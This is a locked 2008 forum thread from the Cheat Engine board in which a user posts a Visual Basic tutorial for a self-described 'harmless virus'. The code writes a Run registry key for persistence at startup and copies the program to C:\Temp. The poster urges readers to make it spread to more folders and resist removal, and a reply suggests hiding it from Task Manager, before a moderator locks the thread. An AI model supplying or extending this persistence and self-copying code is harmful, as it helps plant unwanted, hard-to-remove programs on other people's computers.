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[VB2008 TUTORIAL] HOW TO MAKE A HARMLESS VIRUS v1

 
Post new topic   This topic is locked: you cannot edit posts or make replies.    Cheat Engine Forum Index -> General programming
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OSIRIS
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PostPosted: Wed Mar 12, 2008 1:58 pm    Post subject: [VB2008 TUTORIAL] HOW TO MAKE A HARMLESS VIRUS v1 Reply with quote
DESCRIPTIONWhat this does is creates a registry key saying that C:\Temp\funnybunny.exe will automatically run whenever your computer turns on. It was also copy its self to C:\Temp\funnybunny.exe if it hasnt already. If there is no folder called Temp on the C drive it will create one.

The only point of this virus is to simply annoy the user.

REMOVAL STEPS Just delete C:\Temp\funnybunny.exe


HOW TO MAKE
1) File new project name it funnybunny
2) Put the text of form1 to funnybunny
3) On the form1_load event add this code there
Code:

 My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "vSidebar", "C:\Temp\funnybunny.exe")

        Dim path As String
        path = Application.StartupPath
        Dim name As String
        name = "\funnybunny.exe"
        Dim file As String
        file = path & name
        Dim NewCopy As String
        NewCopy = "C:\Temp\funnybunny.exe"

        If System.IO.Directory.Exists("C:\Temp") = False Then
            System.IO.Directory.CreateDirectory("C:\Temp")
        End If

        If System.IO.File.Exists(NewCopy) = False Then
            System.IO.File.Copy(file, NewCopy)
        End If


4) Download this picture and save it as bunny.jpg
http://customersrock.files.wordpress.com/2007/07/bunny.jpg
5) Add a picture box to form1. Change the image property of the picture box to the picture of the bunny we recently downloaded.
6) put the form1 : minimizebox and maximize box to False. Change the form border style to Fized 3d.
7) Resize your form to make sure the full bunny can be seen.
Cool Save everything. And your done.



If you think you understand the source code then try to make it so that it will copy it self to more places other than just C:\Temp. Also if you accomplished that try making a new application that runs in the background to monitor the registry and the folder containing funnybunny.exe to make sure that they dont get edited. I will later make a second version showing how to do all the stuff I just said.
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AndrewMan
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Joined: 01 Aug 2007
Posts: 1257
PostPosted: Wed Mar 12, 2008 2:19 pm    Post subject: Reply with quote
Why not make it also not appear in the task manager Note: It only works for Window 2003 and 2005.

Google how to make an application not appear in the task manager.

Btw, how did you get this code?

Can you post where you got it from... Shocked
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atom0s
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PostPosted: Wed Mar 12, 2008 2:49 pm    Post subject: Reply with quote
Again with the useless posts. Whether the intent is harmful or not, this is not the type of things that should be posted in this section. If you want to post stuff like this, take it to random spam. Locked.
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